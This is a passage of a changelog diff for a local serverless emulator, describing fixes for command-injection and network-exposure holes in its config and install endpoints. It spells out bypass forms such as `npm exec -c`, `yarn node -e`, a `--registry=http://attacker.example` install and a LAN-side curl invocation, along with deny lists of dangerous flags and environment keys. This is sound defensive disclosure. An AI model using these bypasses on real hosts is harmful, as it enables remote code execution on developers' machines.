**0.17.2** carries the identical `packageCommand: { kind: 'string' }` validator (global *and*
|
|
213
|
+
`servicePackaging[*]`), the same `getPackageConfigForService()`, and the same
|
|
214
|
+
`runServerlessPackage()` → `spawn()`. The trigger there is `POST /api/services/register`, which
|
|
215
|
+
reaches that chain whenever the service's template is missing and `autoPackage` is on — and
|
|
216
|
+
`autoPackage` is itself a `PUT /api/config` key. So it is two unauthenticated calls on 0.17.2 too,
|
|
217
|
+
just with `register` in place of `package`. The `packageCommand` → `spawn()` path is older still
|
|
218
|
+
(it dates to the original `autoPackage` feature in 0.0.x); what made it *remotely* settable was
|
|
219
|
+
the Settings page adding an unauthenticated `PUT /api/config`. A `packageCommand` written through
|
|
220
|
+
that endpoint must now match a **grammar over the whole argv**, tokenized by the *same* tokenizer
|
|
221
|
+
the packager uses before `spawn()`, so the string that is checked is the string that runs:
|
|
222
|
+
`npm|yarn|pnpm run|run-script …`, `serverless|sls|osls package …`, or
|
|
223
|
+
`npx [-y] serverless|sls|osls[@version] package …`. A first-token allowlist was tried first and
|
|
224
|
+
**did not hold** — every runner on it is an interpreter one subcommand in, and
|
|
225
|
+
`spawn('npm', ['exec','-c','<shell string>'])` executes that string with no `shell: true`
|
|
226
|
+
anywhere, so `npm exec -c`, `npm x`, `npx -c`, `npx -y <pkg>`, `yarn dlx`, `pnpm dlx`,
|
|
227
|
+
`yarn exec`, `yarn node -e`, `yarn create`, `npm i <pkg>` and `yarn add <pkg>` (install scripts
|
|
228
|
+
run as you) all satisfied "the first token names a package manager" while running caller-chosen
|
|
229
|
+
code. Pinning the **subcommand** removes that class; a bare `yarn package` is rejected with it,
|
|
230
|
+
because yarn 1's implicit `run` is exactly what makes `yarn node -e '<js>'` indistinguishable
|
|
231
|
+
from a script name (write `yarn run package`). Every documented form still works
|
|
232
|
+
(`npx serverless package`, `npm run package:local`, `yarn run package`,
|
|
233
|
+
`serverless package --stage dev`, `sls package -c custom.yml`,
|
|
234
|
+
`npx -y serverless@3.38.0 package`); no allowed entry contains a path separator, so membership
|
|
235
|
+
alone still rejects `/bin/sh`, `bash`, `node`, `curl`, `/usr/bin/env` and `./tool`.
|
|
236
|
+
**`packageArgs` was the same hole one key across** — it was `stringArray`-validated (any string,
|
|
237
|
+
any count) and is appended to the argv *without* passing through the tokenizer, so
|
|
238
|
+
`{"packageCommand":"npm","packageArgs":["exec","-c","<shell>"]}` was the identical bypass. It is
|
|
239
|
+
now screened, per element and by index in the error, against the flags that re-point an allowed
|
|
240
|
+
program without changing a positional token — `--node-options` (NODE_OPTIONS under another name),
|
|
241
|
+
`--script-shell`/`--shell`/`--shell-mode` (which binary interprets the script), `--call`,
|
|
242
|
+
`--userconfig`/`--globalconfig`/`--use-yarnrc` (an rc file that can set all of the above),
|
|
243
|
+
`--registry` (npx fetches the CLI when the service has no local copy, and npm reads its own
|
|
244
|
+
config flags from anywhere in the argv), `--prefix`/`--cwd`/`--dir` (another package.json's
|
|
245
|
+
scripts) and node's own
|
|
246
|
+
`--require`/`--eval`/`--print`/`--import`/`--loader`/`--experimental-loader`/`--input-type`,
|
|
247
|
+
compared with dashes and underscores stripped so `--nodeOptions` is the same flag. The same
|
|
248
|
+
screen runs over every token of `packageCommand`. Serverless's short flags are deliberately left
|
|
249
|
+
alone (`-c`, `-p`, `-r` are `--config`, `--package`, `--region` there, and the grammar already
|
|
250
|
+
makes them unreachable as npm/npx options), so `sls package -c custom.yml -p .build` keeps
|
|
251
|
+
working. `packageEnv` (also
|
|
252
|
+
`envRecord`-validated now) rejects the keys that choose a binary before `main()` runs regardless of
|
|
253
|
+
which runner passed — `NODE_OPTIONS`, `NODE_REPL_EXTERNAL_MODULE`, `LD_PRELOAD`, `LD_AUDIT`,
|
|
254
|
+
`LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `DYLD_LIBRARY_PATH` — compared case-insensitively,
|
|
255
|
+
since env lookup is case-insensitive on Windows and `node_options` would be the same bypass one
|
|
256
|
+
keystroke away. Per-service `servicePackaging[*]` overrides answer to both lists, since an override
|
|
257
|
+
is a different value for the same setting and not a way around its validation. **Two scoping
|
|
258
|
+
decisions, stated rather than implied.** The fence sits on the API and *not* on the read path: a
|
|
259
|
+
hand-edited `lss.config.json` and `LSS_PACKAGE_COMMAND` stay unchecked, because they are the
|
|
260
|
+
operator's own shell and anyone who can write either already runs code on this host. And what
|
|
261
|
+
stays expressible is the **project's own build**: `npm run <script>` runs whatever the service's
|
|
262
|
+
`package.json` declares, and `serverless package` reads its `serverless.yml`, plugins included.
|
|
263
|
+
That is code the operator already trusts by pointing LSS at the directory, and forbidding it
|
|
264
|
+
would mean the dashboard could not set a package command at all, which is what the onboarding
|
|
265
|
+
flow is built on. What the fence buys is the drop from "any binary on the host with any argv" to
|
|
266
|
+
"the project's own build, and nothing the caller names".
|
|
267
|
+
- **The loopback bind now covers the listeners that mattered most.** Fencing `index.ts` alone left
|
|
268
|
+
the sharper half of the surface untouched, because LSS opens four kinds of listener and only one
|
|
269
|
+
of them read `LSS_BIND_HOST`. `services/gateway-manager.ts` called `server.listen(port)` with no
|
|
270
|
+
host for **every registered service's API Gateway port and Lambda Invoke API port**; a bare
|
|
271
|
+
`listen(port)` binds the `::` wildcard, so those ports answered on every interface while the
|
|
272
|
+
dashboard sat on loopback. They are raw `http.Server`s that never reach Express — no CORS, no
|
|
273
|
+
origin check — and the invoke handler executes a registered Lambda handler with the request's
|
|
274
|
+
JSON body as its event, resolving the function through the **global** registry, so a single
|
|
275
|
+
`curl -X POST http://<victim>:13001/2015-03-31/functions/<fn>/invocations` from anywhere on the
|
|
276
|
+
LAN ran any function of any service. `engine/backends/self-backend.ts` asked for `'0.0.0.0'`
|
|
277
|
+
outright, publishing the whole unauthenticated AWS data plane (Scan/PutItem, ReceiveMessage,
|
|
278
|
+
GetObject, GetSecretValue) whenever `serverPort` and `selfEngine.port` differed, and
|
|
279
|
+
`dev/dynamo-proxy.ts` did the same for its credential-free DynamoDB pass-through. All four now
|
|
280
|
+
read one value, resolved once in **`src/server/services/bind-host.ts`** — captured at module
|
|
281
|
+
load so listeners opened at boot and listeners opened on a hot reload an hour later cannot
|
|
282
|
+
disagree about how exposed the process is — and the boot warning names the full set it just
|
|
283
|
+
put on the network. Regression tests assert the **bound address of real listeners** for all four
|
|
284
|
+
(`tests/unit/routes/services.test.ts`, `tests/unit/dev/dynamo-proxy.test.ts`), and replay the
|
|
285
|
+
LAN-side payload where the host has an interface to replay it on.
|
|
286
|
+
|
|
287
|
+
### Fixed
|
|
288
|
+
- **The preparation endpoints could not become a general command runner.** Unlike `/start` above,
|
|
289
|
+
`POST /api/services/install` and `POST /api/services/package` are **new in 1.0** — they were caught
|
|
290
|
+
in review, so no released version ever exposed *them*. That is a statement about these two
|
|
291
|
+
endpoints only: the execution surface itself was not new, it shipped as `/start`, and the "found
|
|
292
|
+
before release" framing previously here understated that. `/install` accepted any absolute
|
|
293
|
+
directory and any command whose first whitespace token was whitelisted — but `node -e "<js>"` and
|
|
294
|
+
`npm exec -- <anything>` pass such a check, and the endpoint answers with the command's output,
|
|
295
|
+
which would have made it an execution *and* exfiltration primitive for anything able to reach the
|
|
296
|
+
port. Both endpoints now confine `servicePath` to the project root, and the install command is
|
|
297
|
+
validated by **shape** — package manager + install verb + flags, no positionals — so those forms
|
|
298
|
+
are unrepresentable rather than merely discouraged; which flags may appear is the next bullet.
|
|
299
|
+
- **The install command's shape check was not sufficient on its own.** Requiring every token after
|
|
300
|
+
the verb to start with `-` treats flags as inert, and they are not: `npm install
|
|
301
|
+
--registry=http://attacker.example` installs that registry's packages and runs their `postinstall`
|
|
302
|
+
scripts, `--userconfig=` points npm at an attacker-written `.npmrc`, and `--prefix=` / `yarn
|
|
303
|
+
--cwd=` / `pnpm --dir=` relocate the install *out of* the directory the project-root fence just
|
|
304
|
+
vetted. Flags are now checked against an **allowlist** of the ones a dependency install
|
|
305
|
+
legitimately needs (`--production`, the lockfile spellings, `--no-audit`/`--no-fund`,
|
|
306
|
+
`--prefer-offline`/`--offline`, `--legacy-peer-deps`, `--force`, `--silent`/`--quiet`, plus
|
|
307
|
+
`--omit=`/`--include=`/`--loglevel=` whose values can only name a dependency group or a log level).
|
|
308
|
+
Anything else — an unknown flag, a short flag, a space-separated value — is a 400. A deny-list
|
|
309
|
+
could not close this class: three package managers keep adding flags, and every new one would be
|
|
310
|
+
permitted by default.
|
|
311
|
+
- **The project-root fence was lexical, so a symlink walked straight through it.** `/install` and
|
|
312
|
+
`/package` compared `path.relative(projectRoot, path.resolve(servicePath))` — pure string work —
|
|
313
|
+
while `statSync` and the spawn that followed resolve symlinks. A link inside the project root
|
|
314
|
+
pointing outside it (`services/orders → /etc`) therefore passed a check that was about the
|
|
315
|
+
spelling of the path rather than about where it lands. Both sides are now `realpathSync`-resolved
|
|
316
|
+
before the comparison, and the resolved real path is what the command runs in, which also narrows
|
|
317
|
+
the check-to-spawn window.
|
|
318
|
+
- **Per-service overrides were unreachable when the config file was not in the project root.** The
|
|
319
|
+
key the dashboard writes is project-root relative (from the scan), while `getRuntimeConfigForService`
|
|
320
|
+
/ `getPackageConfigForService` matched a raw `dirname(configPath)`-relative one. With a checkout
|
|
321
|
+
reached through a symlink, or a config loaded from `~`, the two spellings differed and a saved
|
|
322
|
+
override was silently ignored at registration. Both spellings (plus the basename) now resolve
|
|
323
|
+
through one helper.
|
|
324
|
+
- **`installed` in the scan no longer lies in a workspaces monorepo.** It checked the service's own
|
|
325
|
+
`node_modules`, which a hoisted npm/yarn/pnpm workspace package legitimately lacks — every service
|
|
326
|
+
read as uninstalled forever, steering the operator into per-package installs that shadow the
|
|
327
|
+
hoisted tree. The check now walks up to the scanned root.
|
|
328
|
+
- **The UI was never type-checked.** `src/ui/tsconfig.json` extends the root config, which excludes
|
|
329
|
+
`src/ui` — and `exclude` is inherited with paths resolved against the *root* file, so the
|
|
330
|
+
dashboard excluded itself from its own project and `vue-tsc --noEmit` silently checked nothing.
|
|
331
|
+
With that reset, 12 real pre-existing errors surfaced and were fixed: a TreeUI `TreeBadgeTone` →
|
|
332
|
+
`TBadgeTone` rename across 6 components, two unused imports, a `TableRow`/`Record` mismatch, an
|
|
333
|
+
`unknown` in a table slot, and a `ResourceOwnersResponse` fallback missing `collections`.
|
|
334
|
+
|
|
8
335
|
## [0.17.0] - 2026-07-18
|
|
9
336
|
|
|
10
337
|
The raw `AWS::ApiGatewayV2::*` support that shipped in 0.16.0 met a real Serverless Framework project and lost: it reduced a hand-authored idiom only, so the shapes `serverless package` actually emits fell through as `no ::Integration for Target "(none)"` and the routes were skipped without ever answering a request. Every one of those shapes now reduces, proven against a committed real packaging snapshot rather than a hand-written fixture. Alongside it, SQS grows **queue-level redrive**: a poison message finally lands in its dead-letter queue instead of being redelivered until retention quietly eats it.
|